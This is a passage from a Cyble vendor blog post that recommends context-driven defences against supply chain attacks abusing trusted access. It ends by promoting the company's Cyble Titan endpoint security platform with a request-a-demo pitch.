Attackers are not introducing new behaviors; they are blending into existing ones. 

This is why traditional defenses struggle. Security tools are designed to detect anomalies, but these attacks look normal—because they are built on legitimate features. 

Rethinking Defense: From Perimeter to Context 

Defending against this new class of software supply chain attack requires a shift in mindset. Organizations must move beyond perimeter-based security and adopt a context-driven approach. 

Key strategies include: 

• Strict permission governance: Limit browser access to sensitive hardware unless necessary  

• Behavioral monitoring: Detect unusual patterns in device usage and data access  

• Zero Trust architecture: Continuously verify users, devices, and sessions  

• User awareness: Train employees to question permission requests, not just links  

Understanding how to prevent supply chain attacks now means recognizing that the “supply chain” includes user interactions, browser capabilities, and third-party workflows—not just software dependencies. 

Strengthening Endpoint Resilience with Cyble Titan 

https://www.youtube.com/watch?v=NS7XHdNpkyE

As attackers exploit trusted access points, endpoint visibility becomes critical. This is where platforms like Cyble Titan play a strategic role. 

Cyble Titan is designed to go beyond traditional endpoint protection. It brings together real-time telemetry, threat intelligence, and automated response into a unified platform. Rather than relying on static rules, it continuously analyzes behavior across endpoints, detecting subtle anomalies that indicate misuse of legitimate tools. 

Key strengths include: 

• Real-time visibility: Deep insights into processes, file activity, and user behavior  

• Intelligence-driven detection: Integration with threat intelligence for contextual awareness  

• Automated response: Rapid containment to reduce attacker dwell time  

• Cross-platform coverage: Coverage for environments across Windows, Linux, and macOS  

In the context of supply chain cybersecurity, this level of visibility is essential. When attacks don’t “break in” but instead operate within trusted boundaries, detection depends on understanding what shouldn’t be happening, even if it looks normal on the surface. 

Trust Is the New Attack Surface 

The definition of a breach is changing. It’s no longer about unauthorized access—it’s about unauthorized use of authorized access. 

These emerging supply chain attack examples demonstrate that attackers are adapting faster than traditional defenses. They are leveraging trust, not bypassing it. And that makes them harder to detect, harder to prevent, and potentially more damaging. 

Organizations that want to stay ahead must rethink how to prevent supply chain attacks. That means focusing on context, behavior, and continuous verification—not just barriers. 

Ready to see how modern endpoint security can close these gaps? Explore Cyble Titan and experience a more intelligent approach to defending against today’s most deceptive threats.  

Request a demo and evaluate how real-time visibility and AI-driven detection can strengthen your security posture from the inside out. 

The post Third-Party Breaches Without Breaches: How Attackers Use Trusted Access to Bypass US Enterprise Defenses appeared first on Cyble.

💾